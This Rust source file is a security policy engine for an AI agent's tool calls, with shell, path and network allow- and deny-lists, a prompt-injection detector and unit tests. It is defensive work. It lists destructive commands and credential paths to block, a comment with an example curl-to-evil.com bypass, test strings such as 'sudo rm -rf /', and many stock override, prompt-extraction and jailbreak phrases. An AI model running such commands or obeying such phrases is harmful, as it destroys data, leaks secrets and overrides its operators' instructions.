ravenclaws/

policy.rs

//! RavenClaws
//!
//! Every tool call is checked against the policy before execution.
//! The policy defines allow-lists for commands, paths, hosts, and
//! network targets. By default, everything is denied unless explicitly allowed.
//!
//! # Architecture
//!
//! ```text
//! ToolCall
//!   │
//!   ▼
//! PolicyEngine::check()
//!   │
//!   ├── ShellPolicy  → command allow-list, flag restrictions
//!   ├── PathPolicy   → read/write path allow-lists
//!   ├── NetworkPolicy→ host/URL allow-list
//!   └── GeneralPolicy→ category-based rules
//!   │
//!   ▼
//! Allowed / Denied (with reason)

use serde::{Deserialize, Serialize};
use std::path::Path;
use thiserror::Error;
// ── Error types ────────────────────────────────────────────────────────────

#[allow(dead_code)]
#[derive(Error, Debug)]
pub enum PolicyError {
    #[error("Policy denied: {0}")]
    Denied(String),

    #[error("Invalid policy configuration: {0}")]
    InvalidConfig(String),
}

// ── Policy types ───────────────────────────────────────────────────────────

/// Policy decision
#[allow(dead_code)]
#[derive(Debug, Clone, PartialEq)]
pub enum Decision {
    /// Allow the operation
    Allow,
    /// Deny the operation with a reason
    Deny(String),
}

#[allow(dead_code)]
impl Decision {
    pub fn is_allowed(&self) -> bool {
        matches!(self, Decision::Allow)
    }
}

/// Shell command policy
#[allow(dead_code)]
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ShellPolicy {
    /// If true, all shell commands are denied (default: false)
    #[serde(default)]
    pub deny_all: bool,
    /// List of allowed command prefixes (e.g., ["echo", "ls", "cat", "git"])
    #[serde(default)]
    pub allowed_commands: Vec<String>,
    /// List of denied command prefixes (takes precedence over allowed)
    #[serde(default)]
    pub denied_commands: Vec<String>,
    /// Maximum command timeout in seconds
    #[serde(default = "default_shell_timeout")]
    pub max_timeout_secs: u64,
    /// If true, allow commands that write to disk (install, rm, etc.)
    #[serde(default)]
    pub allow_write_commands: bool,
}

impl Default for ShellPolicy {
    fn default() -> Self {
        Self {
            deny_all: false,
            allowed_commands: vec![
                "echo".to_string(),
                "cat".to_string(),
                "ls".to_string(),
                "head".to_string(),
                "tail".to_string(),
                "wc".to_string(),
                "grep".to_string(),
                "find".to_string(),
                "sort".to_string(),
                "uniq".to_string(),
                "cut".to_string(),
                "which".to_string(),
                "pwd".to_string(),
                "date".to_string(),
                "whoami".to_string(),
                "uname".to_string(),
                "env".to_string(),
                "printenv".to_string(),
                "git".to_string(),
                "cargo".to_string(),
                "rustc".to_string(),
                "python3".to_string(),
                "node".to_string(),
            ],
            denied_commands: vec![
                "rm -rf /".to_string(),
                "mkfs".to_string(),
                "dd".to_string(),
                "shutdown".to_string(),
                "reboot".to_string(),
                "halt".to_string(),
                "poweroff".to_string(),
            ],
            max_timeout_secs: 60,
            allow_write_commands: false,
        }
    }
}

/// Filesystem path policy
#[allow(dead_code)]
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PathPolicy {
    /// List of allowed read path prefixes
    #[serde(default)]
    pub allowed_read_paths: Vec<String>,
    /// List of allowed write path prefixes
    #[serde(default)]
    pub allowed_write_paths: Vec<String>,
    /// List of denied path prefixes (takes precedence)
    #[serde(default)]
    pub denied_paths: Vec<String>,
    /// Maximum file read size in bytes
    #[serde(default = "default_max_read_bytes")]
    pub max_read_bytes: usize,
    /// Maximum file write size in bytes
    #[serde(default = "default_max_write_bytes")]
    pub max_write_bytes: usize,
}

impl Default for PathPolicy {
    fn default() -> Self {
        Self {
            allowed_read_paths: vec![
                "/tmp".to_string(),
                "/var/tmp".to_string(),
                "/home".to_string(),
                "/workspace".to_string(),
                ".".to_string(),
            ],
            allowed_write_paths: vec![
                "/tmp".to_string(),
                "/var/tmp".to_string(),
                "/workspace".to_string(),
                ".".to_string(),
            ],
            denied_paths: vec![
                "/etc/shadow".to_string(),
                "/etc/sudoers".to_string(),
                "/etc/ssh".to_string(),
                "/root".to_string(),
            ],
            max_read_bytes: 65536,
            max_write_bytes: 1048576,
        }
    }
}

/// Network policy
#[allow(dead_code)]
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct NetworkPolicy {
    /// If true, all network access is denied
    #[serde(default)]
    pub deny_all: bool,
    /// List of allowed hostname suffixes (e.g., ["github.com", "docs.rs"])
    #[serde(default)]
    pub allowed_hosts: Vec<String>,
    /// List of denied hostname suffixes (takes precedence)
    #[serde(default)]
    pub denied_hosts: Vec<String>,
    /// If true, allow connections to localhost/127.0.0.1
    #[serde(default = "default_true")]
    pub allow_localhost: bool,
    /// If true, allow connections to private IP ranges
    #[serde(default)]
    pub allow_private_networks: bool,
}

impl Default for NetworkPolicy {
    fn default() -> Self {
        Self {
            deny_all: false,
            allowed_hosts: vec![
                "github.com".to_string(),
                "raw.githubusercontent.com".to_string(),
                "docs.rs".to_string(),
                "crates.io".to_string(),
                "api.github.com".to_string(),
                "google.com".to_string(),
                "wikipedia.org".to_string(),
                "stackoverflow.com".to_string(),
                "rust-lang.org".to_string(),
            ],
            denied_hosts: vec![],
            allow_localhost: true,
            allow_private_networks: false,
        }
    }
}

/// Complete security policy
#[allow(dead_code)]
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SecurityPolicy {
    /// Shell command policy
    #[serde(default)]
    pub shell: ShellPolicy,
    /// Filesystem path policy
    #[serde(default)]
    pub path: PathPolicy,
    /// Network policy
    #[serde(default)]
    pub network: NetworkPolicy,
    /// If true, all tool calls require human approval
    #[serde(default)]
    pub require_approval_all: bool,
    /// List of tool names that require approval
    #[serde(default)]
    pub require_approval_for: Vec<String>,
}

impl Default for SecurityPolicy {
    fn default() -> Self {
        Self {
            shell: ShellPolicy::default(),
            path: PathPolicy::default(),
            network: NetworkPolicy::default(),
            require_approval_all: false,
            require_approval_for: vec!["shell_exec".to_string(), "write_file".to_string()],
        }
    }
}

// ── Policy engine ──────────────────────────────────────────────────────────

/// The policy engine — checks tool calls against the security policy
#[allow(dead_code)]
pub struct PolicyEngine {
    policy: SecurityPolicy,
}

#[allow(dead_code)]
impl PolicyEngine {
    /// Create a new policy engine with the given policy
    pub fn new(policy: SecurityPolicy) -> Self {
        Self { policy }
    }

    /// Create a policy engine with default (secure) settings
    pub fn default_secure() -> Self {
        Self {
            policy: SecurityPolicy::default(),
        }
    }

    /// Create a permissive policy engine (for development)
    pub fn permissive() -> Self {
        Self {
            policy: SecurityPolicy {
                require_approval_all: false,
                require_approval_for: vec![],
                shell: ShellPolicy {
                    deny_all: false,
                    allowed_commands: vec!["*".to_string()], // allow all
                    denied_commands: vec![],
                    max_timeout_secs: 300,
                    allow_write_commands: true,
                },
                path: PathPolicy {
                    allowed_read_paths: vec!["/".to_string()],
                    allowed_write_paths: vec!["/tmp".to_string(), "/workspace".to_string()],
                    denied_paths: vec![],
                    max_read_bytes: 1048576,
                    max_write_bytes: 10485760,
                },
                network: NetworkPolicy {
                    deny_all: false,
                    allowed_hosts: vec!["*".to_string()],
                    denied_hosts: vec![],
                    allow_localhost: true,
                    allow_private_networks: true,
                },
            },
        }
    }

    /// Check if a tool call is allowed
    pub fn check_tool_call(&self, tool_name: &str, args: &serde_json::Value) -> Decision {
        match tool_name {
            "shell_exec" => self.check_shell_command(args),
            "read_file" | "write_file" => self.check_file_operation(tool_name, args),
            "web_fetch" => self.check_network_request(args),
            _ => Decision::Allow, // Unknown tools are allowed by default (they'll be checked by the tool registry)
        }
    }

    /// Check if a tool requires human approval
    pub fn requires_approval(&self, tool_name: &str) -> bool {
        if self.policy.require_approval_all {
            return true;
        }
        self.policy
            .require_approval_for
            .contains(&tool_name.to_string())
    }

    /// Get the policy configuration
    pub fn policy(&self) -> &SecurityPolicy {
        &self.policy
    }

    // ── Internal check methods ──────────────────────────────────────────

    fn check_shell_command(&self, args: &serde_json::Value) -> Decision {
        let policy = &self.policy.shell;

        if policy.deny_all {
            return Decision::Deny("All shell commands are denied by policy".to_string());
        }

        let command = args.get("command").and_then(|v| v.as_str()).unwrap_or("");

        if command.is_empty() {
            return Decision::Deny("Empty command".to_string());
        }

        // Check denied commands first
        for denied in &policy.denied_commands {
            if command.contains(denied) {
                return Decision::Deny(format!("Command contains denied pattern: '{}'", denied));
            }
        }

        // Check timeout
        if let Some(timeout) = args.get("timeout_secs").and_then(|v| v.as_u64()) {
            if timeout > policy.max_timeout_secs {
                return Decision::Deny(format!(
                    "Timeout {}s exceeds maximum {}s",
                    timeout, policy.max_timeout_secs
                ));
            }
        }

        // Check for piped commands — validate each pipeline segment independently
        // This prevents bypassing allow-lists via e.g. `echo foo | curl http://evil.com`
        let segments: Vec<&str> = command.split('|').collect();
        if segments.len() > 1 {
            for segment in &segments {
                let trimmed = segment.trim();
                if trimmed.is_empty() {
                    continue;
                }
                let seg_first = trimmed.split_whitespace().next().unwrap_or("");
                let seg_allowed = policy.allowed_commands.iter().any(|a| {
                    if a == "*" {
                        return true;
                    }
                    seg_first == a || trimmed.starts_with(a)
                });
                if !seg_allowed {
                    return Decision::Deny(format!(
                        "Pipeline segment '{}' is not in the allowed list",
                        seg_first
                    ));
                }
            }
            // All segments passed — allow the piped command
            return Decision::Allow;
        }

        // Check allowed commands (single command, no pipe)
        let first_word = command.split_whitespace().next().unwrap_or("");
        let is_allowed = policy.allowed_commands.iter().any(|a| {
            if a == "*" {
                return true; // wildcard — allow all
            }
            first_word == a || command.starts_with(a)
        });

        if !is_allowed {
            return Decision::Deny(format!(
                "Command '{}' is not in the allowed list",
                first_word
            ));
        }

        Decision::Allow
    }

    fn check_file_operation(&self, tool_name: &str, args: &serde_json::Value) -> Decision {
        let policy = &self.policy.path;
        let path = args.get("path").and_then(|v| v.as_str()).unwrap_or("");

        if path.is_empty() {
            return Decision::Deny("Empty path".to_string());
        }

        // Resolve to absolute path
        let abs_path = if Path::new(path).is_absolute() {
            path.to_string()
        } else {
            match std::env::current_dir() {
                Ok(cwd) => cwd.join(path).to_string_lossy().to_string(),
                Err(_) => path.to_string(),
            }
        };

        // Check denied paths
        for denied in &policy.denied_paths {
            if abs_path.starts_with(denied) || abs_path.contains(denied) {
                return Decision::Deny(format!("Path '{}' is denied", path));
            }
        }

        // Check allowed paths based on operation type
        let allowed_paths = match tool_name {
            "write_file" => &policy.allowed_write_paths,
            _ => &policy.allowed_read_paths,
        };

        let is_allowed = allowed_paths.iter().any(|a| {
            if a == "/" || a == "*" {
                return true; // wildcard
            }
            abs_path.starts_with(a)
        });

        if !is_allowed {
            return Decision::Deny(format!(
                "Path '{}' is not in the allowed {} paths",
                path,
                if tool_name == "write_file" {
                    "write"
                } else {
                    "read"
                }
            ));
        }

        // Check size limits for write operations
        if tool_name == "write_file" {
            if let Some(content) = args.get("content").and_then(|v| v.as_str()) {
                if content.len() > policy.max_write_bytes {
                    return Decision::Deny(format!(
                        "Write size {} exceeds maximum {} bytes",
                        content.len(),
                        policy.max_write_bytes
                    ));
                }
            }
        }

        Decision::Allow
    }

    fn check_network_request(&self, args: &serde_json::Value) -> Decision {
        let policy = &self.policy.network;

        if policy.deny_all {
            return Decision::Deny("All network requests are denied by policy".to_string());
        }

        let url = args.get("url").and_then(|v| v.as_str()).unwrap_or("");

        if url.is_empty() {
            return Decision::Deny("Empty URL".to_string());
        }

        // Parse the URL
        let parsed = match url::Url::parse(url) {
            Ok(u) => u,
            Err(e) => {
                return Decision::Deny(format!("Invalid URL: {}", e));
            }
        };

        let host = match parsed.host_str() {
            Some(h) => h.to_string(),
            None => return Decision::Deny("URL has no host".to_string()),
        };

        // Check localhost
        if is_localhost(&host) {
            if !policy.allow_localhost {
                return Decision::Deny("Localhost connections are denied by policy".to_string());
            }
            return Decision::Allow;
        }

        // Check private networks
        if is_private_ip(&host) && !policy.allow_private_networks {
            return Decision::Deny("Private network connections are denied by policy".to_string());
        }

        // Check denied hosts
        for denied in &policy.denied_hosts {
            if host == *denied || host.ends_with(&format!(".{}", denied)) {
                return Decision::Deny(format!("Host '{}' is denied", host));
            }
        }

        // Check allowed hosts
        let is_allowed = policy.allowed_hosts.iter().any(|a| {
            if a == "*" {
                return true; // wildcard
            }
            host == *a || host.ends_with(&format!(".{}", a))
        });

        if !is_allowed {
            return Decision::Deny(format!("Host '{}' is not in the allowed hosts list", host));
        }

        Decision::Allow
    }
}

// ── Prompt-injection defense ───────────────────────────────────────────────

/// Result of an injection check on LLM output
#[allow(dead_code)]
#[derive(Debug, Clone, PartialEq)]
pub enum InjectionVerdict {
    /// Output appears safe
    Clean,
    /// Possible injection detected with a reason
    Suspicious(String),
}

/// Detects prompt-injection attempts in LLM responses.
///
/// Two layers of defense:
/// 1. **Instruction-boundary enforcement** — scans for patterns that indicate
///    the LLM is trying to override its system instructions or produce
///    unauthorized output.
/// 2. **Output schema validation** — ensures structured output (tool calls,
///    JSON responses) conforms to expected format.
#[allow(dead_code)]
#[derive(Debug, Clone)]
pub struct InjectionDetector {
    /// If true, instruction-boundary scanning is enabled
    check_instruction_boundary: bool,
    /// If true, output schema validation is enabled
    check_output_schema: bool,
    /// Custom patterns to flag as injection attempts
    custom_patterns: Vec<String>,
}

#[allow(dead_code)]
impl InjectionDetector {
    /// Create a new injection detector with default settings
    pub fn new() -> Self {
        Self {
            check_instruction_boundary: true,
            check_output_schema: true,
            custom_patterns: Vec::new(),
        }
    }

    /// Create a detector with all checks disabled (permissive)
    pub fn permissive() -> Self {
        Self {
            check_instruction_boundary: false,
            check_output_schema: false,
            custom_patterns: Vec::new(),
        }
    }

    /// Enable or disable instruction-boundary checking
    pub fn with_instruction_boundary(mut self, enabled: bool) -> Self {
        self.check_instruction_boundary = enabled;
        self
    }

    /// Enable or disable output schema checking
    pub fn with_output_schema(mut self, enabled: bool) -> Self {
        self.check_output_schema = enabled;
        self
    }

    /// Add a custom injection pattern
    pub fn with_custom_pattern(mut self, pattern: &str) -> Self {
        self.custom_patterns.push(pattern.to_string());
        self
    }

    /// Check LLM response content for injection attempts.
    ///
    /// Returns `InjectionVerdict::Clean` if the output appears safe,
    /// or `InjectionVerdict::Suspicious(reason)` if injection is detected.
    pub fn check(&self, content: &str) -> InjectionVerdict {
        // Check instruction-boundary violations
        if self.check_instruction_boundary {
            if let Some(reason) = self.check_instruction_boundary_violations(content) {
                return InjectionVerdict::Suspicious(reason);
            }
        }

        // Check output schema
        if self.check_output_schema {
            if let Some(reason) = self.check_output_schema_violations(content) {
                return InjectionVerdict::Suspicious(reason);
            }
        }

        InjectionVerdict::Clean
    }

    /// Check for instruction-boundary violations — patterns where the LLM
    /// attempts to override its system prompt or produce unauthorized output.
    fn check_instruction_boundary_violations(&self, content: &str) -> Option<String> {
        let content_lower = content.to_lowercase();

        // Known prompt-injection / jailbreak patterns
        let injection_patterns = [
            // Direct instruction override attempts
            ("ignore_previous", "Attempt to ignore previous instructions"),
            ("ignore above", "Attempt to ignore previous instructions"),
            (
                "ignore all previous",
                "Attempt to ignore previous instructions",
            ),
            (
                "ignore the above",
                "Attempt to ignore previous instructions",
            ),
            (
                "ignore your previous",
                "Attempt to ignore previous instructions",
            ),
            (
                "ignore all instructions",
                "Attempt to ignore all instructions",
            ),
            ("forget all previous", "Attempt to forget instructions"),
            ("forget your instructions", "Attempt to forget instructions"),
            ("disregard previous", "Attempt to disregard instructions"),
            ("disregard all", "Attempt to disregard all instructions"),
            // System prompt override
            ("new system prompt", "Attempt to override system prompt"),
            ("override system", "Attempt to override system prompt"),
            ("you are now", "Suspicious role-switch pattern"),
            ("from now on you are", "Suspicious role-switch pattern"),
            ("act as a", "Suspicious role-switch pattern"),
            ("pretend to be", "Suspicious role-switch pattern"),
            // Delimiter-based injection
            ("---begin override---", "Delimiter-based injection attempt"),
            ("<system>", "Delimiter-based injection attempt"),
            ("</system>", "Delimiter-based injection attempt"),
            ("<override>", "Delimiter-based injection attempt"),
            ("</override>", "Delimiter-based injection attempt"),
            // Output manipulation
            ("output your", "Attempt to extract system prompt"),
            ("print your", "Attempt to extract system prompt"),
            ("reveal your", "Attempt to extract system prompt"),
            ("show your prompt", "Attempt to extract system prompt"),
            ("show your instructions", "Attempt to extract system prompt"),
            (
                "what are your instructions",
                "Attempt to extract system prompt",
            ),
            (
                "what is your system prompt",
                "Attempt to extract system prompt",
            ),
            // Role-playing jailbreaks
            ("dan ", "Potential DAN jailbreak pattern"),
            ("do anything now", "Potential jailbreak pattern"),
            ("you have been released", "Potential jailbreak pattern"),
            ("you are free", "Potential jailbreak pattern"),
            ("no restrictions", "Potential jailbreak pattern"),
            ("no rules", "Potential jailbreak pattern"),
            ("no limitations", "Potential jailbreak pattern"),
            ("no filtering", "Potential jailbreak pattern"),
            ("no censorship", "Potential jailbreak pattern"),
            // Token smuggling
            ("base64", "Potential token smuggling"),
            ("rot13", "Potential obfuscation attempt"),
            ("caesar cipher", "Potential obfuscation attempt"),
            ("encoded message", "Potential obfuscation attempt"),
            ("decode this", "Potential obfuscation attempt"),
            // Meta-instruction attacks
            ("this is a test", "Suspicious meta-instruction pattern"),
            (
                "this is a security test",
                "Suspicious meta-instruction pattern",
            ),
            ("this is a prompt", "Suspicious meta-instruction pattern"),
            ("the user is lying", "Suspicious meta-instruction pattern"),
            ("the user is testing", "Suspicious meta-instruction pattern"),
            ("you must obey", "Suspicious imperative pattern"),
            ("you will obey", "Suspicious imperative pattern"),
            ("you are required", "Suspicious imperative pattern"),
            ("you must respond", "Suspicious imperative pattern"),
            ("respond with exactly", "Suspicious imperative pattern"),
            ("say exactly", "Suspicious imperative pattern"),
            ("repeat exactly", "Suspicious imperative pattern"),
            ("repeat after me", "Suspicious imperative pattern"),
            ("repeat the words", "Suspicious imperative pattern"),
        ];

        for (pattern, reason) in &injection_patterns {
            if content_lower.contains(pattern) {
                return Some(format!("{}: '{}'", reason, pattern));
            }
        }

        // Check custom patterns
        for pattern in &self.custom_patterns {
            if content_lower.contains(&pattern.to_lowercase()) {
                return Some(format!("Custom pattern matched: '{}'", pattern));
            }
        }

        None
    }

    /// Check for output schema violations — ensures structured output
    /// conforms to expected format.
    fn check_output_schema_violations(&self, content: &str) -> Option<String> {
        // If the content contains a TOOL_CALL: marker, validate the JSON args
        if content.contains("TOOL_CALL:") {
            // Find all ARGS: lines and validate JSON
            for line in content.lines() {
                let trimmed = line.trim();
                if let Some(args_str) = trimmed.strip_prefix("ARGS:") {
                    let args_str = args_str.trim();
                    if !args_str.is_empty()
                        && serde_json::from_str::<serde_json::Value>(args_str).is_err()
                    {
                        return Some(format!(
                            "Invalid JSON in tool call arguments: '{}'",
                            args_str
                        ));
                    }
                }
            }
        }

        // Check for unbalanced code blocks that could hide content
        let open_blocks = content.matches("```").count();
        #[allow(clippy::manual_is_multiple_of)]
        if open_blocks % 2 != 0 {
            return Some("Unbalanced code block delimiters".to_string());
        }

        // Check for extremely long content that might be a smuggling attempt
        if content.len() > 100_000 {
            return Some(format!(
                "Response too long ({} chars), possible smuggling attempt",
                content.len()
            ));
        }

        None
    }
}

impl Default for InjectionDetector {
    fn default() -> Self {
        Self::new()
    }
}

// ── Helper functions ───────────────────────────────────────────────────────

fn default_shell_timeout() -> u64 {
    60
}

fn default_max_read_bytes() -> usize {
    65536
}

fn default_max_write_bytes() -> usize {
    1048576
}

fn default_true() -> bool {
    true
}

fn is_localhost(host: &str) -> bool {
    host == "localhost"
        || host == "127.0.0.1"
        || host == "::1"
        || host == "0.0.0.0"
        || host.starts_with("127.")
}

fn is_private_ip(host: &str) -> bool {
    host == "10.0.0.1"
        || host.starts_with("10.")
        || host.starts_with("172.16.")
        || host.starts_with("172.17.")
        || host.starts_with("172.18.")
        || host.starts_with("172.19.")
        || host.starts_with("172.20.")
        || host.starts_with("172.21.")
        || host.starts_with("172.22.")
        || host.starts_with("172.23.")
        || host.starts_with("172.24.")
        || host.starts_with("172.25.")
        || host.starts_with("172.26.")
        || host.starts_with("172.27.")
        || host.starts_with("172.28.")
        || host.starts_with("172.29.")
        || host.starts_with("172.30.")
        || host.starts_with("172.31.")
        || host.starts_with("192.168.")
}

// ── Tests ──────────────────────────────────────────────────────────────────

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_decision_allow() {
        let d = Decision::Allow;
        assert!(d.is_allowed());
    }

    #[test]
    fn test_decision_deny() {
        let d = Decision::Deny("test".to_string());
        assert!(!d.is_allowed());
    }

    #[test]
    fn test_default_policy_denies_unknown_command() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "sudo rm -rf /"});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_default_policy_allows_echo() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "echo hello"});
        let decision = engine.check_shell_command(&args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_default_policy_allows_ls() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "ls -la"});
        let decision = engine.check_shell_command(&args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_default_policy_denies_shutdown() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "shutdown -h now"});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_default_policy_denies_rm_rf_root() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "rm -rf /"});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_deny_all_shell() {
        let policy = SecurityPolicy {
            shell: ShellPolicy {
                deny_all: true,
                ..ShellPolicy::default()
            },
            ..SecurityPolicy::default()
        };
        let engine = PolicyEngine::new(policy);
        let args = serde_json::json!({"command": "echo hello"});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_timeout_exceeded() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "echo hello", "timeout_secs": 999});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_empty_command() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": ""});
        let decision = engine.check_shell_command(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_permissive_allows_all() {
        let engine = PolicyEngine::permissive();
        let args = serde_json::json!({"command": "curl https://example.com"});
        let decision = engine.check_shell_command(&args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_path_read_allowed() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": "/tmp/test.txt"});
        let decision = engine.check_file_operation("read_file", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_path_write_allowed() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": "/tmp/test.txt", "content": "data"});
        let decision = engine.check_file_operation("write_file", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_path_denied() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": "/etc/shadow"});
        let decision = engine.check_file_operation("read_file", &args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_path_denied_write() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": "/etc/shadow", "content": "data"});
        let decision = engine.check_file_operation("write_file", &args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_empty_path() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": ""});
        let decision = engine.check_file_operation("read_file", &args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_network_allowed_host() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": "https://github.com/egkristi/RavenClaws"});
        let decision = engine.check_network_request(&args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_network_denied_host() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": "https://evil.com/malware"});
        let decision = engine.check_network_request(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_network_localhost_allowed() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": "http://localhost:11434/api/chat"});
        let decision = engine.check_network_request(&args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_network_deny_all() {
        let policy = SecurityPolicy {
            network: NetworkPolicy {
                deny_all: true,
                ..NetworkPolicy::default()
            },
            ..SecurityPolicy::default()
        };
        let engine = PolicyEngine::new(policy);
        let args = serde_json::json!({"url": "https://github.com"});
        let decision = engine.check_network_request(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_network_empty_url() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": ""});
        let decision = engine.check_network_request(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_network_invalid_url() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": "not-a-url"});
        let decision = engine.check_network_request(&args);
        assert!(!decision.is_allowed());
    }

    #[test]
    fn test_requires_approval_default() {
        let engine = PolicyEngine::default_secure();
        assert!(engine.requires_approval("shell_exec"));
        assert!(engine.requires_approval("write_file"));
        assert!(!engine.requires_approval("read_file"));
        assert!(!engine.requires_approval("web_fetch"));
    }

    #[test]
    fn test_requires_approval_all() {
        let policy = SecurityPolicy {
            require_approval_all: true,
            ..SecurityPolicy::default()
        };
        let engine = PolicyEngine::new(policy);
        assert!(engine.requires_approval("shell_exec"));
        assert!(engine.requires_approval("read_file"));
        assert!(engine.requires_approval("web_fetch"));
    }

    #[test]
    fn test_check_tool_call_shell() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"command": "echo hello"});
        let decision = engine.check_tool_call("shell_exec", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_check_tool_call_read_file() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"path": "/tmp/test.txt"});
        let decision = engine.check_tool_call("read_file", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_check_tool_call_web_fetch() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({"url": "https://github.com"});
        let decision = engine.check_tool_call("web_fetch", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_check_tool_call_unknown() {
        let engine = PolicyEngine::default_secure();
        let args = serde_json::json!({});
        let decision = engine.check_tool_call("unknown_tool", &args);
        assert!(decision.is_allowed());
    }

    #[test]
    fn test_policy_error_denied() {
        let err = PolicyError::Denied("test".to_string());
        assert_eq!(format!("{}", err), "Policy denied: test");
    }

    #[test]
    fn test_policy_error_invalid_config() {
        let err = PolicyError::InvalidConfig("bad config".to_string());
        assert_eq!(
            format!("{}", err),
            "Invalid policy configuration: bad config"
        );
    }

    #[test]
    fn test_is_localhost() {
        assert!(is_localhost("localhost"));
        assert!(is_localhost("127.0.0.1"));
        assert!(is_localhost("::1"));
        assert!(is_localhost("0.0.0.0"));
        assert!(is_localhost("127.0.0.2"));
        assert!(!is_localhost("example.com"));
    }

    #[test]
    fn test_is_private_ip() {
        assert!(is_private_ip("10.0.0.1"));
        assert!(is_private_ip("192.168.1.1"));
        assert!(is_private_ip("172.16.0.1"));
        assert!(!is_private_ip("8.8.8.8"));
        assert!(!is_private_ip("example.com"));
    }

    #[test]
    fn test_shell_policy_default() {
        let policy = ShellPolicy::default();
        assert!(!policy.deny_all);
        assert!(policy.allowed_commands.contains(&"echo".to_string()));
        assert!(policy.denied_commands.contains(&"rm -rf /".to_string()));
    }

    #[test]
    fn test_path_policy_default() {
        let policy = PathPolicy::default();
        assert!(policy.allowed_read_paths.contains(&"/tmp".to_string()));
        assert!(policy.allowed_write_paths.contains(&"/tmp".to_string()));
        assert!(policy.denied_paths.contains(&"/etc/shadow".to_string()));
    }

    #[test]
    fn test_network_policy_default() {
        let policy = NetworkPolicy::default();
        assert!(!policy.deny_all);
        assert!(policy.allow_localhost);
        assert!(!policy.allow_private_networks);
    }

    #[test]
    fn test_security_policy_default() {
        let policy = SecurityPolicy::default();
        assert!(!policy.require_approval_all);
        assert!(policy
            .require_approval_for
            .contains(&"shell_exec".to_string()));
    }

    #[test]
    fn test_permissive_policy() {
        let engine = PolicyEngine::permissive();
        let policy = engine.policy();
        assert!(policy.shell.allowed_commands.contains(&"*".to_string()));
        assert!(policy.network.allowed_hosts.contains(&"*".to_string()));
        assert!(policy.network.allow_private_networks);
    }
}